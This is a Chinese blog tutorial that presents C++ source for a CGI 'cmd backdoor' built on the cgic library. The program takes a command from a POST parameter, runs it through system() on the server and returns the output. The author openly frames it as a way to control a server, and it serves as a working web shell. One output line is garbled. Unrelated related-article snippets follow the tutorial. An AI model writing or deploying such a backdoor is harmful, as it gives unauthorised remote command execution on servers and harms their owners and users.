里面该说的都说的很清楚。今天我们来用它来做一个后门,将后门放在有执行cgi权限的服务器上,通过客户端POST命令到cgi上并执行,达到控制服务器的目的。

首先下载官网上的压缩包。解压里面有cgic.c和cgic.h,这是我们需要用到的文件。(另外两个c文件是演示用的,还有一个makefile是linux下使用的,在VS2010中我没有用到它)

从官方的文档和下载的cgictest.c可以看到,这个库里有main函数。因为一个程序只能有一个入口点函数,所以我们不能再定义main函数。这里,我们新建一个工程,将上面说的cgic.c和cgic.h拷贝到工程目录下,最好把cgic.c改成cgic.cpp,这样我们就能用C++的语法来写程序了。

再在工程中添加一个cgiMain.cpp的文件,我们将代码写在其中。我们这个程序只用写一个函数,cgiMain,再包含ccgi库的头文件就行了。

cgiMain我们尽可以把它想象成main函数,只不过名字不一样罢了,我们把自己的代码写进去。执行的时候也和main完全一样,以return 0;退出。

我的这个cmd后门的代码如下:

int cgiMain()

{

cgiHeaderContentType("text/html");

char szPost[256];

cgiFormString("cmd",szPost,sizeof(szPost));

string strRe,strComm = szPost;

strComm += ">01.tmp";

system(strComm.c_str());

ifstream file("01.tmp",ios::in);

while (getline(file,strRe))

{

cout<";

}

file.close();

remove("01.tmp");

return 0;

}

比较简陋,只是来演示一下cgic库的使用。

cgiHeaderContentType是输出html文件的头。我上一篇文章讲了在cgi需要输出内容时,需要先输出"Content-type:text/html\n\n",这个函数就是起到这个作用。大家看源代码也可以看到。

cgiFormString("cmd",szPost,sizeof(szPost));这个函数很重要。众所周知,POST或GET到的字符串是这样一个格式:a=xxxxxx&b=yyyyyy&c=112233。我们这个函数,就是获得每一个索引对应的值。

第一个参数是索引的名字,第二个参数是保存获取到的值的字符串,第三个值是字符串大小。比如我们获取到的是cmd=ipconfig,则通过索引“cmd”就能获取到值ipconfig。

原则上来说,获取到了值,也就是命令的内容“ipconfig”,我们就可以执行了。但是我用的system函数不能返回执行结果。所以我换个方式,将执行的结果放入一个临时文件,然后从文件中获取到执行结果并删除文件。这也就是我后面的代码做的工作。都是CPP的内容我就不细讲了,文件操作也可以使用C语言中的fopen、fgets,效果相同。

提一下,如果要把一个命令的输出内容放入文件,直接在命令后面加">xx.txt"就行,就输出到了xx.txt文件中(绝对路径也行)。

ccgi是一个优秀的C语言CGI库,英语不好的同学可以结合我附件中的doc,里面有各个函数的中文介绍,包括设置cookie、上传文件等等功能。所以说很强大。

演示一下效果:

在本地html(本地客户端请大家自己思考着自己写)中输入命令:

点击提交后返回结果:

C语言,后门程序,C语言CGI编程二 - 编写cmd后门相关推荐

  1. c语言编号程序,c语言中如何在一个程序语句前加编号c语言中如何在一个程序语句前加...

    多数情况下,现在的编程高手都是从学习C 语言入门的,在学校里,计算机相关专业中最基础的课程也包括C 语言,因此,掌握好这门课程对每一位立志成为优秀程序员的初学者来说是大有裨益的!另外,对想通过参加全国 ...

  2. 常用c语言小程序,c语言经典小程序汇总大全

    网上有很多的人说编程有多么多么无聊,其实:不要管别人怎么说,别人说什么,做你自己喜欢做的事就好.坚持下来,你会发现编程的乐趣的.当然,如果你觉得学习编程语言很痛苦,坚持了一段时间后无果,南无果断放弃未 ...

  3. c语言名字程序,c语言获得程序位数和操作系统位数和名称

    // vcis64.cpp : VC 64位程序开发心的--c语言获得程序位数和操作系统位数和名称. #include #include #include #include // 获取程序位数(被编译 ...

  4. c语言小程序作业,c语言小程序(c语言简单小程序代码)

    所以特此求经典C语言小程序.谢谢大家的关注!!! #include #include void function(int n){ int i,j,k,x=0; for(i=1;i<=n;i++) ...

  5. c语言实验程序,C语言实验程序

    <C语言实验程序>由会员分享,可在线阅读,更多相关<C语言实验程序(11页珍藏版)>请在人人文库网上搜索. 1.P113:6 #include void main() floa ...

  6. c语言星空程序,C语言C 编程学习程序员大神!绘制神奇代码之星空动态

    C C语言C 编程学习程序员大神!绘制神奇代码之星空动态 C语言是面向过程的,而C++是面向对象的C和C++的区别:C是一个结构化语言,它的重点在于算法和数据结构.C程序的设计首要考虑的是如何通过一个 ...

  7. C语言,后门程序,c语言windows后门

    c语言windows后门 在WINDOWS服务器渗透的时候可能用的着,也可以让xx界里的朋友学点东西 功能在帐户有组策略限制的时候,无法添加管理员账号的时候, 可以不用密码登陆. 测试在XP,2000 ...

  8. c语言广播程序,C语言socket编程---udp通信及广播

    上篇实现了TCP通信的例子.由于项目中需要一个服务器向多台客户端发送消息. 通过udp这种无连接的通信,将client.c增加一句 /* 设置通讯方式对广播,即本程序发送的一个消息,网络上所有主机均可 ...

  9. c语言扬声器程序,通过扬声器C编程并播放声音

    你提到你了解PlaySound.其中一个标志(SND_MEMORY)将允许您播放已加载到内存中的WAVE,即您自己创建的缓冲区.只要缓冲区具有适当的WAVE标题,无论你放在哪里都应该通过扬声器播放. ...

最新文章

  1. 快速获取OpenCV库(Lib)文件下的所有文件的目录名~
  2. sql server之数据库语句优化
  3. 计算机操作系统pv实验,计算机操作系统笔记--信号量与PV 操作
  4. python执行shell脚本、执行mongodb_Mongo shell 的基本操作和 Python shell 中使用 MongoDB...
  5. C#实现清理系统内存
  6. 谁说微服务是Spring Cloud的独角戏?Service Mesh了解一下?
  7. Promise机制(持续更新中)
  8. 深度学习与自然语言处理 主要概念一览
  9. 机组组合问题常用术语
  10. 解决百度地图加载大量点卡顿
  11. java nas_NAS对家庭来说有什么用处?
  12. JavaScript---网络编程(8)-DHTML技术演示(1)
  13. 我的Linux系统九阴真经
  14. 中国哪座城市“最会玩”?“这里是宇宙电竞中心”
  15. Unity3D 未挂载脚本自动初始化
  16. 第三个python小功能完成后记录——二、必要模块函数记忆
  17. 第一次写学术论文无从下手咋办?
  18. C练题笔记之:Leetcode-第 85 场双周赛---6158. 字母移位 II
  19. Java 窗口透明化(无边框)
  20. “短信拦截马”黑色产业链与溯源取证研究

热门文章

  1. linux新手常用命令
  2. 【Python】Python库之数据可视化
  3. Visual Studio 2017版本15.9现在可用
  4. mysql connection_id 表锁的应用
  5. 使用node的pm2管理相关进程
  6. 安全威胁建模综述_如何使用威胁建模分析应用程序的安全性
  7. 微信小程序物联网应用_简化物联网应用程序入门的提示
  8. ubuntu16.04安装java环境
  9. selenium WebDriverWait类等待机制的实现
  10. Logistic Regression逻辑回归的损失函数与梯度下降训练